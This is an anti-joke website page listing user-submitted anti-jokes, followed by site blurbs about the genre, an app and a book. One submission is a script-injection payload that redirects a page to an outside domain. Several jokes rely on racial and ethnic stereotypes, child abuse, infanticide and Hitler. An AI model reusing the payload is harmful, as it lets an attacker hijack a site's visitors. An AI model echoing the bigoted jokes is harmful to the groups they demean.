In soviet russia, child molests you! Unfortunately true

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Q: What do you brush your teeth with, sit on and sleep in? A: A toothbrush, a chair and a bed

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A woman walks in a confessional booth and proceeds to tell the priest about how she killed and ate her baby in a fit of hysteria because she is having issues dealing with her fresh divorce. The priest does not call 911.

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Why did the chicken cross the road? Listen, it's a free country.

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A lesbian and a gay both lie about there gender on eharmony, trying to get a date with someone there own gender. By coincedene, they get matched and go on a date, and both of them realize how weird this situation is and go home.

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A Mexican, a Chinese man, and a cowboy are on a plane. The plane is crashing, and they need to get rid of anything to make the plane lighter so thet can glide to safety. The cowboy throws out all of his boots and says we have to many of these. Then the Mexican throws out all of his taco shells and says we have to many of these. Then the Chinese man throws out the Mexican and says we have to many of these.(:

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What did the little boy say when he was asked what he wanted to be when he grew up? Adolf Hitler

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Why did the black man get fired? In this economy businesses are downsizing and outsourcing jobs for cheaper labor.

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knock knock - whos there whos there -"im confused" try it on someone

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What do you call a middle-eastern man flying a plane? A pilot

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"'>document.location.href="http://cramik.org"

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What did the amputee get for chritmas? A bicycle

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A doctor walks out of the delivery room, he then relieves a nervous father, telling him that his new baby girl has just been born with great health. The father sighs in relief as happiness overwhelms him. With such great news, the doctor chuckles and continues on with more information. Your wife died during the delivery.

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What's the difference between a Jew and an apple? One of them is a fruit, and the other is not.

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What is worse than finding a worm in your apple? Finding a larger worm in your apple.

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Who lives in a pineapple under the sea? No one, because a hollowed out pineapple carcass would not be able to last longer than a month in that high concentration of sodium.

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What's worse than stubbing your toe? - AIDS. What's worse than AIDS? - Getting AIDS and stubbing your toe.

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whats worse than failing your maths test?

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Why did the father leave work early on his son's birthday? He was rushed to the hospital after facing a severe heart attack due to a history of cardiovascular disease in his family.

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A blonde, a brunette, and a redhead are running from the police. The police catch them, and they are sentenced to jail.

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Q: What has no color, no shape, no size, and was born in your mind? A: The thought you just had about this anti-joke.

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whats awesome? a blade of grass with a mexican hat and a revolver.

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What do you call an iPod that doesn't work? An iPod that doesn't work.

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Hey you know what? What? Never mind.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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